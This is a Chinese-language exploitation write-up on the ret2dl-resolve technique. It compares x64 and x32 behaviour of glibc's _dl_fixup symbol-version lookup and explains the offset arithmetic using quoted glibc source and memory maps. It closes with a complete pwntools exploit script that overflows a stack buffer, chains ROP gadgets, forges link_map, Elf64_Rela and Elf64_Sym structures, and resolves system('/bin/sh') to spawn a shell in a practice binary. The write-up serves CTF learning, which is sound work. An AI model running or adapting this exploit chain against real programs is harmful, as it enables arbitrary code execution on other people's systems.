ret2dl x64 & x32的差异

0x00 写在前面

在看本篇文章之前,得需要了解一下ret2dl的原理,可能更好理解一点。在学习研究通过_dl_runtime_reslove实现函数延迟绑定的时候,对比x64和x32有很多地方不一样,通过查询相关资料也没有比较好的解释,比如看雪的这篇文章
https://bbs.pediy.com/thread-227034.htm

里面提到在x64上使用这种方法的时候,需要把link_map+0x1c8置零,但是为什么呢?

下面的评论也有问,为什么在往bss写在_dl_fixup过程中需要用到相关伪造的结构,需要在bss上再加一段偏移?

也有人对此文件进行回答,因为在_dl_fixup会引用到位置较低的地方。什么是引用较低的位置?

如果你去查相关为什么要把link_map+0x1c8置零的?

有相关文章会告诉你如下的解释:

 if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) //l->info[0x6fffffff - tag + DT_NUM + DT_THISPROCNUM]
	{
	  const ElfW(Half) *vernum =
	    (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
	  ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
	  version = &l->l_versions[ndx];
	  if (version->hash == 0)
	    version = NULL;
	}

DT_VERSYM是与Symbol table 对应的一张存储每个符号版本index的表,相当于一个ElfW(Half) 数组。

这里没有把ElfW这个宏拆开,这里是代指Elf64_HalfElf32_Half两种结构,可以看到每次取的版本序列下标是在SYMTAB节里面的偏移地址。

我们都只知道这里偏移相对来说是比较大的,使得vernum[ELFW(R_SYM)(reloc->r_info)]读取出错。

其实我在这里对这个回答打了一个大大疑问,真的是这样吗??

这个解释是针对x64情况下解释,为什么我会有疑问呢?

为什么在x32下,没人关注这个问题呢?是否和前面提到的为什么要在bss前面在偏移遥想呼应呢?

于是有了此文,希望此文能给初识ret2dl的同学解惑。

0x01 DT_VERSYM

为了能从根本解决上面的问题,只有去读glibc的相关源码。

首先我们解决为什么大多数人只在x64上关注_dl_fixup里面对符号版本的读取。

我们先来了解一下,引用符号版本到底有什么用?

_dl_fixup调用过程有一个check_match函数这个函数是一个验证函数,整个查找在动态库里面查找对应符号的位置过程

首先会通过符号名字的hash值在动态库的HASHTABLE找到对应的位置,然后应用调用check_match这个函数进一部验证找到的符号位置,是不是我们需要,会通过两个方面,符号名的对比和符号版本的对比。

if (version != NULL)
    {
      if (__glibc_unlikely (verstab == NULL))
	{
	  ....
	}
      else
	{
	  /* We can match the version information or use the
	     default one if it is not hidden.  */
	  ElfW(Half) ndx = verstab[symidx] & 0x7fff;
	  if ((map->l_versions[ndx].hash != version->hash
	       || strcmp (map->l_versions[ndx].name, version->name))
	      && (version->hidden || map->l_versions[ndx].hash
		  || (verstab[symidx] & 0x8000)))
	    /* It's not the version we want.  */
	    return NULL;
	}
    }
  else
    {
      /* No specific version is selected.  There are two ways we
	 can got here:

	 If the library does not provide symbol version information
	 there is no problem at all: we simply use the symbol if it
	 is defined.
      if (verstab != NULL)
	{
	  if ((verstab[symidx] & 0x7fff)
	      >= ((flags & DL_LOOKUP_RETURN_NEWEST) ? 2 : 3))
	    {
	      /* Don't accept hidden symbols.  */
	      if ((verstab[symidx] & 0x8000) == 0
		  && (*num_versions)++ == 0)
		/* No version so far.  */
		*versioned_sym = sym;

	      return NULL;
	    }
	}

If the library does not provide symbol version information
there is no problem at all

对应符号版本的处理有两种,如果指定了version的值,就严格的进行对比,如果没有指定version的值,即version的值为NULL的情况,可以看到上面的引用,那也是没有问题的

我们可以认为原二进制文件是没有提供DT_VERSYM节的,这是无关紧要的,只要找到与符号名字对应的符号,返回即可。这里需要我们对version有一个基本的了解。

再回到关于version的获取上:

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) //l->info[0x6fffffff - tag + DT_NUM + DT_THISPROCNUM]
	{
	  const ElfW(Half) *vernum =
	    (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
	  ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
	  version = &l->l_versions[ndx];
	  if (version->hash == 0)
	    version = NULL;
	}

先取对应符号版本r_found_version结构在l->l_versions的下标

下标的位置等于 DT_VERSYM节位置加上sizeof(ElfW(Half))*(ELFW(R_SYM) (reloc->r_info))

这个和取符号ELfW(Sym)的结构的时候一模一样,DT_SYMTAB节的位置加上sizeof(ElfW(Sym))*(ELFW(R_SYM) (reloc->r_info))

不同点在于两个节的基址和相关结构的大小不一样,偏移都是一样的。

在这里我们需要考虑这两个地方的取值

首先一定要保证ELfW(Sym)的取值绝对要一定正确,寻找符号需要的变量全在里面,所以这个时候是没办法去兼顾version的取值。

在version的取值上,我们不能再去考虑为对应符号伪造正确的version下标,我们可以做到让下标等于0,l->l_versions[0]一般来说这个位置的r_found_version的结构都是NULL,即保证了version是NULL

前面又说道,我们可以不指定符号的版本。那么问题来了,我们如何保证取到ndx的值等于0呢?

DT_VERSYM节的位置其实就是.gnu.version的节的位置,我们首先要确定这个节的基址,目标文件在装载的时候,相同类型段(这里用段,段一般用来只节在文件中称呼),会合并到一起,减少分页产生的碎片。具体的位置,我们可以用readelf来看一下

Section to Segment mapping:
  Segment Sections...
   00     
   01     .interp 
   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame 
   03     .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss 
   04     .dynamic 
   05     .note.ABI-tag .note.gnu.build-id 
   06     .eh_frame_hdr 
   07     
   08     .init_array .fini_array .jcr .dynamic .got 

可以看到.gnu.verison节在运行的时候,跟在.dynsym(DT_SYMTAB) .dynstr(DT_STRTAB)节的后面,得想个办法让从.gnu.version节开始的偏移,落在0x00上。

这个时候我们再来看一下运行时的内存分布,下面内存分布是elf32的分布。

gef➤  vmmap
Start      End        Offset     Perm Path
0x08048000 0x08049000 0x00000000 r-x /root/c_test/2019-07-31/32.out
0x08049000 0x0804a000 0x00000000 r-- /root/c_test/2019-07-31/32.out
0x0804a000 0x0804b000 0x00001000 rw- /root/c_test/2019-07-31/32.out

我们能很快找到其实是落在

0x08048000 0x08049000 0x00000000 r-x /root/c_test/2019-07-31/32.out

这一块的内存分布上的,我们再去看看这块内存分布上最后一个节的end结束在哪?

.eh_frame end_addr = 0x8048768 , 按照分页的机制,每个节应该每次都是从0x1000开始的,就算不足0x1000,也要用一页。

所以从0x08048768-0x08049000这一段都是0x00填充的,我们得想办法,让version_ndx的偏移落到这个部分。

我们来算一下需要多少偏移量才行:

.gnu.verison start_addr =0x080482E4
(0x8048768-0x080482E4) / sizeof(ElfW(Half)) = 0x242

在x64和x32上ElfW(Half)的结构都是2个字节。

想一下至少得0x242个偏移量,这个偏移量得看取ElfW(Sym)这个过程允不允许。

伪造的相关结构要放在bss上,我们来看一下最大的偏移量是多少:

.dynsym start_addr = 0x080481D8
.bss对应的内存块落在
0x0804a000 0x0804b000 0x00001000 rw- /root/c_test/2019-07-31/32.out

即可计算得

(0x0804b000-0x080481D8) / sizeof(Elf32_Sym) = 0x2e2

经过计算0x2e2 > 0x242,所以我们是可以做到让version_ndx落在未使用的0x00上的,只需要把伪造的结构往.bss位置后面移动。

这里我们解答了为什么要在.bss节上还有加偏移量,不直接在.bss节上直接写。上面都是在x32的情况下。

所以我们不用考虑要去位置version结构了,下面再来看看x64下的情况,还是按照上面分布计算上面的两个偏移量
内存分布如下

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /root/c_test/2019-07-31/64.out
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /root/c_test/2019-07-31/64.out
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /root/c_test/2019-07-31/64.out
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /root/c_test/2019-07-31/64.out
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /root/c_test/2019-07-31/64.out

.gnu.verison start_addr =0x400429 即落在第一个内存页上,计算如下
(0x401000-0x400429) / sizeof(ElfW(Half)) = 0x5eb 即需要最小偏移量

.bss star_addr = 0x404040 即落在最后一个内存页上计算如下
(0x405000-0x404000) /sizeof (Elf64_Sym) = 0xaa,即最大偏移量。

0xaa < 0x5eb我们没办法让verison_ndx落在未使用的页空间上。x64和x32的情况出现了不同,这也是x32为什么没人去考虑version的问题

有人可能会想,我们也没必要让version落在未使用的页上,但是这具有随机性,不具有通用性。可能可以实现,也可能不可以,所以我们必须排除随机。

所以在x64上我们得想办法让version不成为我们的阻碍。继续看_dl_fixup的源码

if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
    {
      const struct r_found_ve

	  rsion *version = NULL;

      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) //l->info[0x6fffffff - tag + DT_NUM + DT_THISPROCNUM]
	{
	  const ElfW(Half) *vernum =
	    (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
	  ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
	  version = &l->l_versions[ndx];
	  if (version->hash == 0)
	    version = NULL;
	}
	  ...
      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
				    version, ELF_RTYPE_CLASS_PLT, flags, NULL);

      /* We are done with the global scope.  */
      value = DL_FIXUP_MAKE_VALUE (result,
				   SYMBOL_ADDRESS (result, sym, false));
    }
  else
    {
      /* We already found the symbol.  The module (and therefore its load
	 address) is also known.  */
      value = DL_FIXUP_MAKE_VALUE (l, SYMBOL_ADDRESS (l, sym, true));
      result = l;
    }

看第一个if分支,我可以让第一个if不成立直接进入else分支,这个分支会直接返回 (l->l_addr+ sym->value)的地址,可能有的同学会想进入第一个if分支,让紧接的if语句不成立,不是同样可以让version=NULL吗?

那我们接着往下看,接着会进入_dl_lookup_symbol_x函数的调用,通过遍历scope和其中的link_map的链表查找符号的位置

/* Search the relevant loaded objects for a definition.  */
  for (size_t start = i; *scope != NULL; start = 0, ++scope)
    {
      int res = do_lookup_x (undef_name, new_hash, &old_hash, *ref,
			     &current_value, *scope, start, version, flags,
			     skip_map, type_class, undef_map);
      if (res > 0)
	break;

scope = l->l_scope ,

再回过来头想一想if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)

如果我想让这个不成立,那我们就得伪造l->l_info[VERSYMIDX (DT_VERSYM)]这个位置为NULL,那就得知道l的位置,如果l的位置无法泄露,那么我们就得重新伪造一个link_map

再看上面,那么这个link_mapl_scope也要伪造,l_scope是一个保存r_scope_elem的二级指针,r_scope_elem结构保存是link_map的指针数组,前面l是不知道的,那么这里这个l_scope的也是没办法伪造的,所以这里这条路走不了。

还是得看else的那个分支,其实else里面的(l->l_addr+ sym->value)就相当于一个任意地址执行,如果我们想要执行system,我们知晓libc的版本,那么这里我们需要一个地址已经绑定了的符号,__libc_start_main是一个不错的符号位置

这里需要把l->l_addr的值等于__libc_start_main的地址,然后伪造lsym->value的值为libc里面符号的偏移量。所以这里直接把got表里面__libc_start_main的位置当做link_map,_dl_fixup里面用link_map取了STRTAB,SYMTAB ,JMPREL的三个节的dyn结构,所以还需要去相应的位置写入伪造的结构。

切记,这里不能像在x32用leave; ret的gadget来劫持栈把rop链也放在bss节上,因为这里的_dl_runtime_reslove变成了_dl_runtime_resolve_xsave,在栈上有取地址写的操作。会造成地址写不了。

还有在_dl_fixup最后return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);里面注意在rel_addr可写,可以修改伪造rela的结构让它指到libc.bss节上。

下面贴上,我自己按照理解写的x64下,只有read的exp

from pwn import *
context.log_level='debug'

leave_ret = 0x0000000000401194  #leave ; ret

read_plt_addr = 0x401050

read_got_addr = 0x404028

dl_addr =0x401026
#strtab_addr = 0x4003D8
#symtab_addr = 0x400330
#jmprel_addr = 0x4004A0
bss_addr = 0x404040 + 0x30


libc_start_main_got_addr = 0x403FF0

system_offset =  0x20a10


buffer_area = bss_addr + 8*6 + 0x10 + 0x100
strtab_addr = symtab_addr = jmprel_addr = buffer_area


fake_dyn = p64(0)
fake_dyn +=p64(buffer_area)
fake_dyn_addr = bss_addr + 8*6

fake_link_map = p64(libc_start_main_got_addr)  #l_addr
fake_link_map += "\x00"*(0x68-len(fake_link_map))+p64(fake_dyn_addr)   #link_map+0x68 == strtab
fake_link_map += p64(fake_dyn_addr)
fake_link_map += "\x00"*(0xf8-len(fake_link_map))+p64(fake_dyn_addr) # link_map+0xf8 == jmprel



#rel
#typedef struct
#{
#  Elf64_Addr	r_offset;		/* Address */
#  Elf64_XWord	r_info;			/* Relocation type and symbol index */
#  Elf64_Sxword	r_addend;		/* Addend */
#} Elf64_Rela;

fake_symtab_offset = 1
fake_rela = p64(0x197050) #setbuf_got_Addr
fake_rela += p64((fake_symtab_offset << 32) + 7)
fake_rela += p64(0)

#sym
#typedef struct
#{
#  Elf64_Word	st_name;		/* Symbol name (string tbl index) */
#  unsigned char	st_info;		/* Symbol type and binding */
#  unsigned char st_other;		/* Symbol visibility */
#  Elf64_Section	st_shndx;		/* Section index */
#  Elf64_Addr	st_value;		/* Symbol value */
#  Elf64_Xword	st_size;		/* Symbol size */
#} Elf64_Sym;
fake_strtab_offset = 0x18 + 0x18
fake_sym = p32(fake_strtab_offset)
fake_sym +=chr(0x12) 
fake_sym +=chr(0x3)
fake_sym +=p16(0)
fake_sym +=p64(0x20a10)
fake_sym +=p64(0)

sh = process('./64.out')
#sh = process('./64.out')
raw_input('aaaa')

payload = "A"*112
payload	+= p64(bss_addr)
payload += p64(0x4011F2) # pop rbx , pop rbp , pop 12, pop13, pop r14, pop r15 , ret
payload += p64(0)
payload += p64(1)
payload += p64(read_got_addr)
payload += p64(0)
payload += p64(bss_addr)
payload += p64(0x200)
payload += p64(0x4011D8)# mov rdx ,15;mov rsi, r14;mov edi, r13d;call qword ptr [r12+rbx*8];add rbx, 1;cmp rbp, rbx;jmp 0x04011ee;
payload += p64(0) #add rsp, 0x8
payload += p64(0) # pop rbx  0x68_fake_dyn_addr
payload += p64(1) # pop rbp
payload += p64(read_got_addr) # pop 12
payload += p64(0) # pop 13
payload += p64(libc_start_main_got_addr+0x68) # pop 14
payload += p64(8) # pop 15
payload += p64(0x4011D8)
payload += p64(0) #add rsp, 0x8
payload += p64(0) # pop rbx  0x70_fake_dyn_addr
payload += p64(1) # pop rbp
payload += p64(read_got_addr) # pop 12
payload += p64(0) # pop 13
payload += p64(libc_start_main_got_addr+0x70) # pop 14
payload += p64(8) # pop 15
payload += p64(0x4011D8)
payload += p64(0) #add rsp, 0x8
payload += p64(0) # pop rbx  0xf8_fake_dyn_addr
payload += p64(1) # pop rbp
payload += p64(read_got_addr) # pop 12
payload += p64(0) # pop 13
payload += p64(libc_start_main_got_addr+0xf8) # pop 14
payload += p64(8) # pop 15
payload += p64(0x4011D8)
payload += p64(0) #add rsp, 0x8
payload += p64(0) # pop rbx  
payload += p64(bss_addr) # pop rbp
payload += p64(0) # pop 12
payload += p64(0) # pop 13
payload += p64(0) # pop 14
payload += p64(0) # pop 15
#payload += p64(leave_ret) #ret
payload += p64(0x4011FB)

bin_sh_addr = buffer_area + 0x18 + 0x18 + 0x7

payload += p64(bin_sh_addr)
payload += p64(dl_addr)
payload += p64(libc_start_main_got_addr) #link_map_address
payload += p64(0)

payload += "M"*(0x200-len(payload))


#payload += p64(read_plt_addr)
#payload += p64(0)
#payload += p64(bss_addr)
#payload += p64(0x200)
#payload += p64(leave_ret)
#payload += "M"*(0x200-len(payload))
sh.send(payload)

rop = p64(0)
rop += p64(0x4011FB) # pop rdi;ret
rop += p64(bin_sh_addr)
rop += p64(dl_addr)
 
rop += p64(libc_start_main_got_addr) #link_map_address
rop += p64(0) # fake_rela_offset

strings = "system\x00/bin/sh\x00\x00"
payload = rop + fake_dyn +fake_link_map + fake_rela + fake_sym + strings
payload += "M"*(0x200-len(payload)) 
sh.send(payload)
#raw_input('aaaa')
sh.send(p64(fake_dyn_addr))
#raw_input('aaaa')
sh.send(p64(fake_dyn_addr))
#raw_input('aaaa')
sh.send(p64(fake_dyn_addr))


sh.interactive()

在这里面其实fake_link_map这个没必要写,但是这段占用的空间不能去

为什么你写的时候就知道了,还一些细节在里面,如果大家有兴趣,或者不懂,或者有疑问的地方都可以问我。

不知道有多少人真正懂了ret2dl,说实话glibc的源码里面宏看的我头疼!!!

64.zip (2.6 KB)
PWN IT!